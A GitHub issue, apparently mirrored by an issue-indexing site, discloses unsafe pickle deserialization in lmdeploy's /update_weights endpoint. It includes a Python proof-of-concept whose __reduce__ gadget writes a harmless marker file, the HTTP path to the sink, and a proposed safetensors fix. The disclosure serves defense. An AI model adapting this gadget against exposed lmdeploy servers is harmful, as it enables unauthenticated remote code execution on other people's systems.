InternLM / InternLM/lmdeploy

[Bug] /update_weights deserializes request-controlled pickle data before validation

Open
#4,698 2 comments 0 reactions 0 assignees View on GitHub
Dominant language
Python
Stars
8.1k
Forks
748
Avg merge
6d 2h
Merged PRs (30d)
54

Description

### Checklist

- [x] 1. I have searched related issues but cannot get the expected help.
- [x] 2. The bug has not been fixed in the latest version.
- [ ] 3. Please note that if the bug-related issue you submitted lacks corresponding environment info and a minimal reproducible demo, it will be challenging for us to reproduce and resolve the issue, reducing the likelihood of receiving feedback.

### Describe the bug

`POST /update_weights` accepts the JSON field `serialized_named_tensors` as a `str | list[str] | dict` and forwards the request object directly to the backend weight-update implementation.

When the value is a string, both backend paths deserialize request-controlled bytes with `multiprocessing.reduction.ForkingPickler.loads(...)`:

- TurboMind backend: `lmdeploy/turbomind/turbomind.py`, `TurboMind.update_params`
- PyTorch backend: `lmdeploy/pytorch/engine/model_agent/agent.py`, `ModelAgent.update_params`

In CPython, `ForkingPickler.loads` resolves to native `_pickle.loads`. This means a remote HTTP request body can reach native pickle deserialization before any tensor/weight structure validation. Pickle reconstruction callbacks can run during loading, so this is an unsafe deserialization issue in the API server process.

Since the endpoint lacks authentication by default and binds to a public-facing address (0.0.0.0), this flaw allows any remote attacker who can reach the server to execute arbitrary system commands via crafted __reduce__ callbacks during deserialization, effectively granting unauthenticated remote code execution (RCE) without any prior credentials.

The API server defaults make the path easier to expose accidentally:

- `lmdeploy serve api_server` defaults to `--server-name 0.0.0.0`
- `api_keys` defaults to `None`
- authentication middleware is only installed when non-empty API keys are configured

### Reproduction

From a checkout of `lmdeploy`, I used this local harness. It stubs heavyweight CUDA/model dependencies, imports the target `lmdeploy/turbomind/turbomind.py` file, and calls the real `TurboMind.update_params` method. The marker appears before the later expected `TypeError`, showing that deserialization happened before weight-shape/structure handling.

```bash
python repro_update_weights_deser.py
```

`repro_update_weights_deser.py`:

```python
import base64
import importlib.util
import pickle
import sys
import types
from pathlib import Path

repo = Path.cwd()
out = Path("update_weights_deser_marker.txt").resolve()

class Marker:
def __reduce__(self):
return (out.write_text, ("target update_params deserialized payload\n",))

class _Cuda:
@staticmethod
def device(_dev):
class Ctx:
def __enter__(self):
return None

def __exit__(self, exc_type, exc, tb):
return False

return Ctx()

@staticmethod
def current_device():
return 0

def install_stubs():
torch = types.ModuleType("torch")
torch.Tensor = object
torch.cuda = _Cuda
torch.IntTensor = lambda value: value
torch.from_dlpack = lambda value: value
sys.modules["torch"] = torch

pybase64 = types.ModuleType("pybase64")
pybase64.b64decode = base64.b64decode
sys.modules["pybase64"] = pybase64

lmdeploy = types.ModuleType("lmdeploy")
lmdeploy.__file__ = str(repo / "lmdeploy" / "__init__.py")
lmdeploy.__path__ = [str(repo / "lmdeploy")]
sys.modules["lmdeploy"] = lmdeploy

messages = types.ModuleType("lmdeploy.messages")
for name in [
"EngineOutput",
"GenerationConfig",
"ResponseType",
"ScheduleMetrics",
"TurbomindEngineConfig",
]:
setattr(messages, name, type(name, (), {}))
sys.modules["lmdeploy.messages"] = messages

protocol = types.ModuleType("lmdeploy.serve.openai.protocol")
protocol.UpdateParamsRequest = type("UpdateParamsRequest", (), {})
sys.modules["lmdeploy.serve"] = types.ModuleType("lmdeploy.serve")
sys.modules["lmdeploy.serve.openai"] = types.ModuleType("lmdeploy.serve.openai")
sys.modules["lmdeploy.serve.openai.protocol"] = protocol

tokenizer = types.ModuleType("lmdeploy.tokenizer")
tokenizer.Tokenizer = type("Tokenizer", (), {})
sys.modules["lmdeploy.tokenizer"] = tokenizer

utils = types.ModuleType("lmdeploy.utils")
utils.get_logger = lambda _name=None: types.SimpleNamespace(
info=lambda *a, **k: None,
warning=lambda *a, **k: None,
error=lambda *a, **k: None,
debug=lambda *a, **k: None,
)
utils.get_max_batch_size = lambda _device: 1
utils.get_model = lambda model, *a, **k: model
sys.modules["lmdeploy.utils"] = utils

tm_pkg = types.ModuleType("lmdeploy.turbomind")
tm_pkg.__path__ = [str(repo / "lmdeploy" / "turbomind")]
sys.modules["lmdeploy.turbomind"] = tm_pkg

supported = types.ModuleType("lmdeploy.turbomind.supported_models")
supported.is_supported = lambda *a, **k: True
sys.modules["lmdeploy.turbomind.supported_models"] = supported

tm_native = types.ModuleType("_turbomind")
tm_native.TensorMap = dict
tm_native.DataType = types.SimpleNamespace(TYPE_UINT32=1, TYPE_INT32=2)
sys.modules["_turbomind"] = tm_native
sys.modules["_xgrammar"] = types.ModuleType("_xgrammar")

tokenizer_info = types.ModuleType("lmdeploy.turbomind.tokenizer_info")
tokenizer_info.TokenizerInfo = type("TokenizerInfo", (), {})
sys.modules["lmdeploy.turbomind.tokenizer_info"] = tokenizer_info

def load_target_module():
path = repo / "lmdeploy" / "turbomind" / "turbomind.py"
spec = importlib.util.spec_from_file_location("lmdeploy.turbomind.turbomind", path)
mod = importlib.util.module_from_spec(spec)
sys.modules[spec.name] = mod
spec.loader.exec_module(mod)
return mod

if out.exists():
out.unlink()

install_stubs()
target = load_target_module()
payload = base64.b64encode(pickle.dumps(Marker())).decode()
request = types.SimpleNamespace(serialized_named_tensors=payload, finished=False)
self_obj = types.SimpleNamespace(devices=[0])

print("loads_module", getattr(pickle.loads, "__module__", None))
print("marker_before", out.exists())
try:
target.TurboMind.update_params(self_obj, request)
except Exception as exc:
print("target_exception_after_loads", type(exc).__name__, str(exc))
print("marker_after", out.exists())
if out.exists():
print("marker_text", out.read_text().strip())
```

Observed output:

```text
loads_module _pickle
marker_before False
target_exception_after_loads TypeError 'int' object is not iterable
marker_after True
marker_text target update_params deserialized payload
```

The `TypeError` is expected because this harness intentionally uses a harmless marker object instead of a real weight iterator. The important observation is that the marker file is written before the later weight-handling error.

A real HTTP path to the same sink is:

```text
POST /update_weights
-> UpdateParamsRequest.serialized_named_tensors
-> api_server.update_params(...)
-> VariableInterface.async_engine.engine.update_params(request)
-> pybase64.b64decode(request.serialized_named_tensors)
-> ForkingPickler.loads(...)
-> native _pickle.loads(...)
```

### Environment

```Shell
The issue is source-level and the local harness does not require a model or GPU.

Manual environment used for the local verification:

Repo commit: d9b2613182f1f94225b33239fd8dcc8903a984ce
OS: Ubuntu 24.04.3 LTS under WSL2
Python: 3.13.9
GCC/G++: 13.3.0
```

### Error traceback

```Shell
The local harness output is:

loads_module _pickle
marker_before False
target_exception_after_loads TypeError 'int' object is not iterable
marker_after True
marker_text target update_params deserialized payload

The exception happens after `_pickle.loads` returns and after the marker side effect has occurred.
The root cause appears to be accepting pickle-serialized weight data over HTTP and loading it before any schema, type, signature, or allowlist validation.
Avoid pickle for HTTP weight updates. Prefer a safe tensor serialization format such as `safetensors` plus explicit metadata validation.
```

Contributor guide

Open the contributing guide

Research direction

Trace POST /update_weights through api_server.update_params and VariableInterface.async_engine.engine.update_params, then inspect TurboMind.update_params in lmdeploy/turbomind/turbomind.py and ModelAgent.update_params in lmdeploy/pytorch/engine/model_agent/agent.py. Run repro_update_weights_deser.py to confirm the current behavior; done means request-controlled data no longer reaches pickle deserialization before validation in either backend.

Written by the indexing model from the issue text.

Assessment

Tech stack
python
Domain
api, backend, security
Issue type
Bug
Difficulty
5/5
Estimated time
Over a week
Activity status
Active
Clarity
Mostly clear
Newbie friendliness
35/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.